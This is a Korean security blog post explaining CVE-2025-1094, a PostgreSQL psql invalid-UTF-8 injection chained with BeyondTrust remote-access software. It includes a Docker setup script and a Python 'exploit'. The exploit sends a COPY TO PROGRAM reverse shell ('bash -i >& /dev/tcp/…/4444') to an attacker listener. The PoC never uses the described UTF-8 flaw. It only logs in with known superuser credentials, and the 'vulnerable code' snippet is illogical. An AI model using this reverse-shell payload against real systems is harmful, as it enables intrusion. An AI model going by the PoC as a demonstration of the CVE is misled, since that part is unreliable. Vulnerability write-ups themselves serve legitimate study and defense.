[하루한줄] CVE-2025-1094: PostgreSQL 14.15의 SQL 인젝션 취약점으로 인한 RCE

URL

https://thehackernews.com/2025/02/postgresql-vulnerability-exploited.html

Target

  • PostgreSQL 14.15
  • BeyondTrust Privileged Remote Access (PRA) 및 Remote Support (RS) 소프트웨어
  • 영향받는 버전: PostgreSQL 14.15 및 해당 버전을 사용하는 BeyondTrust 제품

Explain

CVE-2025-1094는 PostgreSQL 14.15 버전의 psql 인터랙티브 도구에서 발견된 SQL 인젝션 취약점입니다. 이 취약점은 입력값의 부적절한 검증으로 인해 공격자가 임의의 명령을 실행할 수 있게 하며, 특히 BeyondTrust의 Privileged Remote Access (PRA)와 Remote Support (RS) 소프트웨어와 연계되어 원격 코드 실행(RCE) 공격이 가능합니다.

Root Cause

psql 도구에서 사용자 입력을 적절히 검증하지 않고 실행하는 부분에서 취약점이 발생했습니다. 특히, 이를 활용한다면 메타 명령어(!)와 COPY TO PROGRAM 기능을 악용하여 쉘 명령을 실행할 수 있습니다.

해당 취약점은 PostgreSQL의 psql 도구가 유효하지 않은 UTF-8 문자열을 적절히 처리하지 못하는 구조적 결함에서 비롯됩니다. BeyondTrust의 thin-scc-wrapper 스크립트에서는 gskey 값을 echo 명령어를 통해 dbquote 스크립트에 전달하는데, 이 과정에서 공격자가 UTF-8로 위장한 악의적 바이트(0xC0 0x27)를 삽입하면 pg_escape_string() 함수로도 안전하지 않게 SQL 쿼리 내에 주입이 가능합니다. 이로 인해 psql에서 SQL 쿼리 실행이 중단되며, 뒤이어 나오는 메타 명령어(예: \!)가 실행되어 SQL Injection으로 이어집니다.

또한, echo $gskey 대신 echo "$gskey"와 같이 인자를 안전하게 처리하지 않고 인자 인젝션을 허용한 CVE-2024-12356 취약점과 결합될 경우, WebSocket 프로토콜을 통한 원격 비인증 RCE로 이어질 수 있습니다. 단독으로도 psql의 잘못된 UTF-8 처리만으로 RCE가 가능하다는 점에서 중대한 설계상의 결함입니다.

취약한 코드 예시:

if (valid_utf8_check(input) == false) {
    execute_sql(input);
}

이러한 구현은 사용자 입력을 적절히 검증하지 않아 SQL 인젝션을 가능하게 합니다.

PoC

1. 취약한 PostgreSQL 14.15 환경 설정


#!/bin/bash

echo "[+] PostgreSQL 14.15 도커 이미지 다운로드 중..."
sudo docker pull postgres:14.15

echo "[+] PostgreSQL 14.15 컨테이너 배포 중..."
sudo docker run --name vulnerable_postgres \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=postgres \
-e POSTGRES_DB=testdb \
-p 5432:5432 \
-d postgres:14.15

echo "[+] PostgreSQL 초기화 대기 중..."
sleep 10

echo "[+] 취약한 테이블 생성 중..."
sudo docker exec -i vulnerable_postgres psql -U postgres -d testdb <<EOF
CREATE TABLE users (id SERIAL PRIMARY KEY, username TEXT, password TEXT);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

echo "[✓] 설정 완료. 취약한 PostgreSQL 14.15가 실행 중입니다!"

스크립트를 setup.sh로 저장한 후 실행 권한을 부여하고 실행합니다.

chmod +x setup.sh
sudo ./setup.sh

2. Exploit

import psycopg2

# PostgreSQL 연결 정보
HOST = "127.0.0.1"
PORT = "5432"
DATABASE = "testdb"
USER = "postgres"
PASSWORD = "postgres"

# RCE를 위한 악의적인 SQL 인젝션 페이로드
payload = "COPY users TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.168.232.155/4444 0>&1\"';"

try:
    conn = psycopg2.connect(host=HOST, port=PORT, dbname=DATABASE, user=USER, password=PASSWORD)
    cursor = conn.cursor()
    print("[+] PostgreSQL에 연결되었습니다!")
    cursor.execute(payload)
    print("[✓] RCE 실행 완료! Netcat 리스너를 확인하세요.")
except Exception as e:
    print("[-] 익스플로잇 실패:", str(e))
finally:
    if conn:
        cursor.close()
        conn.close()

Netcat 리스너를 실행하여 쉘 연결을 수신합니다.

nc -lvnp 4444

이후 PoC 스크립트를 실행하여 원격 쉘을 획득합니다.

python3 poc.py

Reference